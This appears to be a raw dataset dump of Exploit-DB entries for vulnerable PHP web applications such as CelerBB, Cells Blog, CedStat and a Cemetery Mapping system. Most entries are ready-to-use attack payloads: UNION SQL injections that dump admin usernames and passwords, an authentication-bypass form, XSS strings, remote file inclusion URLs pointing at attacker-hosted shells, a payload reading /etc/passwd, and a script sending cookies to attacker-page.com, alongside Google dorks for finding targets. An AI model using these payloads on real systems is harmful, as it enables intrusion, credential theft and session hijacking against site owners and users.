deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11401
Description: CD Rentals Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-11
Author: Don Tukulesto

Exploit:
/**************************************************************************

[!] CD Rentals Script SQL injection Vulnerability
[!] Author	: Don Tukulesto (root@indonesiancoder.com)
[!] Homepage	: http://www.indonesiancoder.com
[!] Date & Time	: Thu Feb 10, 2010 5:55 PM
[!] Rock On	: http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Vendor : http://www.commodityrentals.com/
[+] This script is specifically tailored for people wanting to start a CDs Rentals Business within a very short time.
    Fully E-Commerce ready, this system comes with a Books attribute template and a fully customizable "look and feel" template of the site.
[+] Method : SQL Injection
[+] Dork : Don Tukulesto

===========================================================================

[ Proof of Concept ]

http://server/index.php?view=catalog&item_type=M&cat_id=[INDONESIAN CODER NOT DEAD WITHOUT YOU]

[ EXPL0!T ]

3+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0x3a,admin_password),3,4+from+rental_admin--

[ D3M0 ]

http://server/index.php?view=catalog&item_type=M&cat_id=3+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0x3a,admin_password),3,4+from+rental_admin--

===========================================================================

[ Remember the Name ]

[>] INDONESIAN CODER TEAM - KILL-9 CREW - MainHack Brotherhood - ServerIsDown - SurabayaHackerLink
[>] kaMtiEz ~ M3NW5 ~ M364TR0N ~ Gonzhack ~ CYB3R_TR0N ~ DEESSAINT ~ ran ~ Arianom ~ Contrex
[>] Jack- ~ Yadoy666 ~ s4va ~ senot ~ Bayu5154 ~ VYC0D ~ Tucker ~ Ian Petrucii ~ Ronz & FeeLCoMz
[>] kecemplungkalen ~ DraCoola Multimedia ~ XNITRO ~ rey_cute ~ Awan Bejat ~ Plaque ~ Gh4mb4s
[>] Pathloader ~ tiw0L ~ Mboys ~ cimpli ~ d0ntcry ~ mbamboenk family ~ YOU !!!

[ rm -rf yourself ] 

[>] FOR MALINGSIAL


[ some quotes ]

For FAKE Don Tukulesto on Facebook : http://www.facebook.com/profile.php?id=[PII_REDACTED]7147
I know you don't like me, but do u know what ? YOU ARE A LOSER. lmao
Exploit-DB #2540
Description: Cdsagenda 4.2.9 - 'SendAlertEmail.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: Drago84

Exploit:
###### ToXiC #########################
#
#  Cdsagenda 4.2.9 Remote File Inclusion by ToXiC CreW
#
#         ToXic Security Italian CreW
#            BuG FounD by Drago84
#
# Application Affect:
#                             Cdsagenda 4.2.9
#
#
#  Sorce Code:
#             http://cdsware.cern.ch/cdsagenda/download/cdsagenda-4.2.9.tar.gz
#
#
# Page:
#         SendAlertEmail.php
#
# Dir :
#      /cdsagenda-4.2.9/htdocs/modification/
#
#
# Problem:
#         require_once "$AGE/AgeDB.php";
#
#
#
# ExPloit :
#   http://www.site.com/cdsagenda/modification/SendAlertEmail.php?AGE=http://sonic-banda-di-lamer.gay/shell.php?
#
#
#
#       
# GrEatZ All Member of ToXiC, Str0ke
#
#
# FUCK #Sonic
#
###### ToXiC #########

# milw0rm.com [2006-10-13]
Exploit-DB #52015
Description: CE Phoenix Version 1.0.8.20 - Stored XSS
Type: webapps
Platform: php
Date: 2024-05-13
Author: tmrswrr

Exploit:
# Exploit Title: CE Phoenix Version 1.0.8.20  - Stored XSS
# Date: 2023-11-25
# Exploit Author: tmrswrr
# Category : Webapps
# Vendor Homepage: https://phoenixcart.org/
# Version: v3.0.1
# Tested on: https://www.softaculous.com/apps/ecommerce/CE_Phoenix

## POC:

1-Login admin panel , go to this url : https://demos6.softaculous.com/CE_Phoenixx3r6jqi4kl/admin/currencies.php
2-Click edit and write in Title field your payload : <sVg/onLy=1 onLoaD=confirm(1)//
3-Save it and go to this url : https://demos6.softaculous.com/CE_Phoenixx3r6jqi4kl/admin/currencies.php
4-You will be see alert button
Exploit-DB #22241
Description: Cedric Email Reader 0.2/0.3 - Skin Configuration Script Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-02-09
Author: MGhz

Exploit:
source: https://www.securityfocus.com/bid/6818/info

It has been reported that Cedric Email Reader is prone to an issue that may allow remote attackers to include malicious files located on remote servers. This issue is present in the 'email.php' script.

Under some circumstances, it is possible for remote attackers to influence the include path for a configuration file to point to an external file on a remote server.

If the remote file is a malicious PHP script, this may be exploited to execute arbitrary system commands in the context of the web server.

It has also been reported that it is possible to cause local files to be included, resulting in disclosure of webserver readable files to the attacker. This has not been confirmed. 

http://[target]/email.php?login=attacker&cer_skin=http://[attacker]/code.php
Exploit-DB #22242
Description: Cedric Email Reader 0.4 - Global Configuration Script Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-02-09
Author: MGhz

Exploit:
source: https://www.securityfocus.com/bid/6820/info

It has been reported that Cedric Email Reader is prone to an issue that may allow remote attackers to include malicious files located on remote servers. This issue is present in the 'emailreader_execute_on_each_page.inc.php' script.

Under some circumstances, it is possible for remote attackers to influence the include path for a configuration file to point to an external file on a remote server.

If the remote file is a malicious PHP script, this may be exploited to execute arbitrary system commands in the context of the web server.

It has also been reported that it is possible to cause local files to be included, resulting in disclosure of webserver readable files to the attacker. This has not been confirmed.

http://[target]/webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://[attacker]/code.php
Exploit-DB #29624
Description: CedStat 1.31 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-21
Author: sn0oPy

Exploit:
source: https://www.securityfocus.com/bid/22653/info

CedStat is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

CedStat 1.31 and prior versions are vulnerable. 

http://www.example.com/cedstat/index.php?hier=%3C%68%31%3E%74%65%73%74%65%64%20%62%79%20%73%6E%30%6F%50%79%3C%2F%68%31%3E
Exploit-DB #29608
Description: CedStat 1.31 - 'index.php?hier' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-16
Author: sn0oPy

Exploit:
source: https://www.securityfocus.com/bid/22588/info

CedStat is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process.

This issue affects version 1.31; prior versions may also be affected.

http://www.example.com/cedstat/index.php?hier=%3C%68%31%3E%74%65%73%74%65%64%20%62%79%20%73%6E%30%6F%50%79%3C%2F%68%31%3E
Exploit-DB #34155
Description: Ceica-GW - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-27
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40917/info

Ceica-GW is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

The following example URIs are available:

http://www.example.com/Ceica/login.php/>"><marquee><font%20color=red%20size=15>XroGuE</font></marquee>

http://www.example.com/Ceica/login.php/>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
Exploit-DB #8161
Description: celerbb 0.0.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-03-05
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: CelerBB
[+] Version: 0.0.2
[+] Website: http://celerbb.sourceforge.net/

[+] Bugs: [A] Multiple SQL Injection
          [B] Information Disclosure
          [C] Authenticaion Bypass

[+] Exploitation: Remote
[+] Date: 05 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: viewforum.php, viewtopic.php

This bug allows a guest to view username and
password list.


- [B] Information Disclosure

[-] Requisites: none
[-] File affected: showme.php

This bug allows a guest to view reserved
information of any user.


- [C] Authentication Bypass

[-] Requisites: magic_quotes_gpc = off
[-] File affected: login.php

This bug allows a guest to bypass authentication.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/viewforum.php?id=-1' UNION ALL SELECT 1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM celer_users%23

http://www.site.com/path/viewtopic.php?id=1' UNION ALL SELECT 1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL FROM celer_users%23


- [B] Information Disclosure

http://www.site.com/path/showme.php?user=admin


- [C] Authentication Bypass

<html>
  <head>
    <title>CelerBB 0.0.2 Authentication Bypass Exploit</title>
  </head>
  <body>
    <form action="login.php" method="POST">
      <input type="hidden" name="Username" value="admin'#">
      <input type="submit" value="Exploit">
    </form>
  </body>
</html>


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-03-05]
Exploit-DB #32334
Description: CeleronDude Uploader 6.1 - 'account.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-03
Author: Xc0re

Exploit:
source: https://www.securityfocus.com/bid/31010/info

Celerondude Uploader is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Celerondude Uploader 6.1 is vulnerable; other versions may also be affected. 

In the login page , username field enter : "><script>alert(1);</script>"
Exploit-DB #31146
Description: Cells Blog 3.3 - Reflected Cross-Site Scripting / Blind SQLite Injection
Type: webapps
Platform: php
Date: 2014-01-23
Author: vinicius777

Exploit:
################################################################
[+] Exploit: Cells v3.3 XSS Reflected & Blind SQLite Injection #
[+] Author: vinicius777					       #
[+] Contact: vinicius777 [AT] gmail @vinicius777_              #	
[+] version: Cells Blog 3.3				       #
[+] Vendor Homepage: http://cells.tw	                       #
################################################################

 
[+] 14/01/2014 vendor contacted
[+] 17/01/2014 no response from vendor
[+] 20/01/2014 no response from vendor
[+] 21/01/2014 Published  
 

 
[1] Reflective XSS on 'msg='

PoC: 
http://localhost/cells-v3-3/errmsg.php?msg= [%3C%2Fp%3E%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E%3Cp%3E]


Vulnerable Code:
[+] errmsg.php

<?
                echo "<img src='images/error.gif'>";
                if (isset($_GET["msg"])){$msg=$_GET["msg"];}else{$msg="";}
                if ($msg!=""){
                    echo "<br><br><br>".$msg;
                }else{
                        echo "<br><br><br>You may key in something wrong.<br>Please try it again! ..... ";
                        echo " If you always got this message, <br>please send a <a href='pub_pubmsg.php?bgid=1'>".$face_report."</a>";
                        echo " to the web master.";
                }
                ?> 

 
[2] Blind SQLite Injection on 'pcid'

PoC:
http://localhost/cells-v3-3/user.php?pcid= [SQLite Injection]

Vulnerable Code:
[+] user.php

if($_GET["pcid"]!=""){
$sql="select * from users where cdt='n' and pcid=".$_GET["pcid"];


#
#
# Greetz to g0tm1lk and TheColonial.
Exploit-DB #43349
Description: Cells Blog 3.5 - 'bgid' / 'fmid' / 'fnid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Cells Blog 3.5 - SQL Injection
# Dork: N/A
# Date: 16.12.2017
# Vendor Homepage: http://www.cells.tw/
# Software Link: http://www.cells.tw/cells/
# Version: 3.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/pub_post.php?bgid=[SQL]&fmid=[SQL]
#  
# -7+UNION%20SELECT+0x253331%2c0x253332%2c0x253333%2c0x253334%2c0x253335%2c0x253336%2c0x253337%2c0x253338%2c%39%2c0x[PII_REDACTED]30%2c0x[PII_REDACTED]31%2c0x[PII_REDACTED]32%2c0x[PII_REDACTED]33%2c0x[PII_REDACTED]34%2c0x[PII_REDACTED]35%2c0x[PII_REDACTED]36%2c0x[PII_REDACTED]37%2c0x[PII_REDACTED]38%2c0x[PII_REDACTED]39%2d%2d%20%2d
# 
# Parameter: bgid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=1 AND 9841=9841&fmid=7
# 
# Parameter: fmid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=1&fmid=7 AND 2056=2056
# 2) 
# http://localhost/[PATH]/pub_openpic.php?bgid=[SQL]&fmid=[SQL]&fnid=[SQL]
# 
# Parameter: fnid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=2&fmid=10&fnid=12 AND 1592=1592
# 
# Parameter: fmid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=2&fmid=10 AND 3227=3227&fnid=12
# 
# Parameter: bgid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=2 AND 6608=6608&fmid=10&fnid=12
# 
# 3) 
# http://localhost/[PATH]/album.php?bgid=[SQL]&fmid=[SQL]
# 
# Parameter: fmid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=2&fmid=10 AND 9273=9273
# 
# Parameter: bgid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=2 AND 9536=9536&fmid=10
# 
# 4)
# http://localhost/[PATH]/fourm.php?bgid=[SQL]&fmid=[SQL]
# 
# Parameter: fmid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=1&fmid=2 AND 5699=5699
# 
# Parameter: bgid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=1 AND 9899=9899&fmid=2
# 
# # # # #
Exploit-DB #49475
Description: Cemetry Mapping and Information System 1.0 - 'user_email' Sql Injection (Authentication Bypass)
Type: webapps
Platform: php
Date: 2021-01-26
Author: Marco Catalano

Exploit:
# Exploit Title: Cemetry Mapping and Information System 1.0 - 'user_email' Sql Injection (Authentication Bypass)
# Exploit Author: Marco Catalano
# Date: 2021-01-25
# Vendor Homepage: https://www.sourcecodester.com/php/12779/cemetery-mapping-and-information-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12779&title=Cemetery+Mapping+and+Information+System+Using+PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Vulnerable parameter: "user_email" (POST method)
# Tested on: Linux, PHP/7.4.11

Explaination:
The userAuthentication function defined in "/include/accounts.php" implements the following code:

$mydb->setQuery("SELECT * FROM `tbluseraccount` WHERE `U_USERNAME` = '". $U_USERNAME ."' and `U_PASS` = '". $h_pass ."'");

which is called when trying to log into the administrative panel at "/admin/login.php".

Proof Of Concept:

The user input is not properly sanitized and this leads to authentication bypass through the classic "<username>' or '1' = '1 -- -" where <username> has to be a valid username. For example, the default username is "janobe".


POST /admin/login.php?logout=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin/login.php?logout=1
Cookie: wp-settings-time-1=[PII_REDACTED]; PHPSESSID=ujhslpm8cg18eeb1jd7nempudj
Upgrade-Insecure-Requests: 1

user_email=janobe%27+or+%271%27+%3D+%271--+-&user_pass=test&btnLogin=
Exploit-DB #49413
Description: Cemetry Mapping and Information System 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2021-01-12
Author: Mesut Cetin

Exploit:
# Exploit Title: Cemetry Mapping and Information System 1.0 - Multiple SQL Injections
# Exploit Author: Mesut Cetin
# Date: 2021-01-12
# Vendor Homepage: https://www.sourcecodester.com/php/12779/cemetery-mapping-and-information-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12779&title=Cemetery+Mapping+and+Information+System+Using+PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Vulnerable parameter: "Search" bar (POST method)
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

SQL Injection is a type of an injection attack that makes it possible to execute malicious SQL statements. Due to unsanitized user input, the attacker can retrieve the entire SQL database in this case.

Explanation:

The function "person.php" takes user input through the search bar at line 45:

"$_POST['search']"

and uses it without any sanitization for the following SQL statement (line 46-49):

$sql = "SELECT * FROM tblpeople WHERE FNAME LIKE '%".$search."%'";
$mydb->setQuery($sql);
$cur = $mydb->executeQuery();
$numrows = $mydb->num_rows($cur);//get the number of count

A single quote (') at the search bar under http://localhost/CemeteryMapping/index.php?q=person will result in SQL synthax errors.

Proof of Concept:

Since the php code lacks of sanitization of the user input, multiple SQL injection queries can be found.

1. Boolean-based SQL injection

POST request the page /CemeteryMapping/index.php?q=person and use as payload: ' or 1=1 --

search=' or 1=1 --

2. Union-based SQL injection

To retrieve sensitive files like /etc/passwd, use the following payload at the search bar (POST request http://localhost/CemeteryMapping/index.php?q=person):

search=' UNION SELECT NULL,load_file('/etc/passwd'),NULL,NULL,NULL,NULL,NULL-- -

If you want to enumerate the target system further, replace "load_file('/etc/passwd')" with one of the following MySQL commands:

@@hostname : Current Hostname

@@tmpdir : Temp Directory

@@datadir : Data Directory

@@version : Version of DB

@@basedir : Base Directory

user() : Current User

database() : Current Database

version() : Version

schema() : current Database

UUID() : System UUID key

current_user() : Current User

current_user : Current User

system_user() : Current System user

session_user() : Session user

@@GLOBAL.have_symlink : Check if Symlink is enabled or disabled

@@GLOBAL.have_ssl : Check if it have SSL or not

3. Time-based SQL injection

For time-based SQL injection, use the payload: ' AND (SELECT 2634 FROM (SELECT(SLEEP(5)))muaN)-- -

Mitigation:

By using prepared statements and parameterized queries, the SQL injection can be prevented.
Exploit-DB #49405
Description: Cemetry Mapping and Information System 1.0 - Multiple Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-01-11
Author: Mesut Cetin

Exploit:
# Exploit Title: Cemetry Mapping and Information System 1.0 - Multiple Stored Cross-Site Scripting
# Exploit Author: Mesut Cetin
# Date: 2021-01-10
# Vendor Homepage: https://www.sourcecodester.com/php/12779/cemetery-mapping-and-information-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12779&title=Cemetery+Mapping+and+Information+System+Using+PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0, Burp Suite Professional v.1.7.34 

Affected parameter: "full name", "location"

Proof of concept:

1. Login under admin panel, http://localhost/CemeteryMapping/admin/login.php, with default credentials janobe:admin
2. Click on "Deceased Persons"
3. Choose one of the users and click on their names to edit it
4. In the field "Full Name" insert the payload: <script>alert(document.cookie)</script>
5. Save and open the webpage under http://localhost/CemeteryMapping/index.php?q=person
6. You will receive the PHPSESSID cookie as alert. The cookie values can be redirected to attacker page by using payloads like <script src="data:application/javascript,fetch(`https://attacker-page.com/${document.cookie}`)"></script>

To manipulate the "location" parameter, we will use Burp Suite. Capture the request with Burp:

POST /CemeteryMapping/admin/person/controller.php?action=edit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://localhost
Connection: close
Referer: http://localhost/CemeteryMapping/admin/person/index.php?view=edit&id=1
Cookie: PHPSESSID=h9smkdr8dvjhsjviugnvot261m
Upgrade-Insecure-Requests: 1

PEOPLEID=1&GRAVENO=1&FNAME=JACONDIA+A.MORTEL&CATEGORIES=C&BORNDATE=07%2F04%2F1992&DIEDDATE=12%2F29%2F2003&LOCATION=BUENAVISTA+LOOC+CEMETERY<script>alert(document.cookie)</script>&save=

And forward the request. The cookie values will be displayed on screen.
Exploit-DB #3843
Description: Censura 1.15.04 - 'censura.php?vendorid' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-03
Author: Mehmet Ince

Exploit:
==============================================

Censura v1.15.04 (vendorid)  Remote SQL Injection

==============================================

Found: Cyber-Security.org

==============================================

Exploit:
censura.php?cmd=vendor_info&vendorid=-1/**/union/**/select/**/0,username,password,3,4,5,6,7,8,9,10,12,13,14,15,16/**/from/**/users/**/

==============================================

google dork: "Powered by: Censura"

vendor: http://www.censura.info/  

==============================================

# milw0rm.com [2007-05-03]